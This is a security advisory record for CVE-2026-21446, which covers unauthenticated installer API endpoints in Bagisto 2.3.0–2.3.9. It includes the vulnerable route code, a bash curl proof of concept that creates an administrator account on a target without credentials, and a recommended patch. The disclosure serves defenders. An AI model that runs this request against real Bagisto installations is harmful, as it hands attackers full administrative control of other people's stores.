{"id":"GHSA-6h7w-v2xr-mqvw","aliases":["CVE-2026-21446"],"title":"Bagisto Missing Authentication on Installer API Endpoints","description":"### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n<?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession;  \nuse Illuminate\\\\Support\\\\Facades\\\\Route;  \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\['Ib', 'installer\\_locale'\\])-\\>group(function () {  \n    Route::controller(InstallerController::class)-\\>group(function () {  \n        Route::get('install', 'index')-\\>name('installer.index');\n\n        Route::middleware(StartSession::class)-\\>prefix('install/api')-\\>group(function () {  \n            Route::post('env-file-setup', 'envFileSetup')-\\>name('installer.env\\_file\\_setup');  \n            Route::post('run-migration', 'runMigration')-\\>name('installer.run\\_migration')-\\>withoutMiddleware('Ib');  \n            Route::post('run-seeder', 'runSeeder')-\\>name('installer.run\\_seeder')-\\>withoutMiddleware('Ib');  \n            Route::get('download-sample', 'downloadSample')-\\>name('installer.download\\_sample')-\\>withoutMiddleware('Ib');  \n            Route::post('admin-config-setup', 'adminConfigSetup')-\\>name('installer.admin\\_config\\_setup')-\\>withoutMiddleware('Ib');  \n            Route::post('sample-products-setup', 'createSampleProducts')-\\>name('installer.sample\\_products\\_setup')-\\>withoutMiddleware('Ib');  \n        });  \n    });  \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts  \n- Modify application configuration  \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections  \n2. **However, the API endpoints are directly exploitable:**  \n   - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client  \n   - No CSRF token, session, or authentication is required  \n   - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\n        \"admin_name\": \"Attacker\",\n        \"admin_email\": \"attacker@evil.com\",\n        \"admin_password\": \"HackedPassword123\"\n    }'\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n    // Check if application is already installed\n    if (file_exists(base_path('.env')) &&\n        config('app.key') &&\n        \\Schema::hasTable('admins') &&\n        \\DB::table('admins')->count() > 0) {\n        abort(404, 'Application already installed');\n    }\n}\n```","severity":"critical","score":9.8,"published":"2026-01-02T21:14:06.000Z","modified":"2026-02-03T03:15:38.352Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"bagisto/bagisto","ranges":[{"events":[{"introduced":"2.3.0"},{"fixed":"2.3.10"}],"type":"ECOSYSTEM"}],"versions":["v2.3.0","v2.3.1","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9"],"fixed":["2.3.10"]}],"references":["https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw","https://nvd.nist.gov/vuln/detail/CVE-2026-21446","https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed","https://github.com/bagisto/bagisto"],"sources":[{"name":"OSV","id":"GHSA-6h7w-v2xr-mqvw","modified":"2026-02-03T03:15:38.352737Z","url":"https://osv.dev/vulnerability/GHSA-6h7w-v2xr-mqvw"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":8.8}]}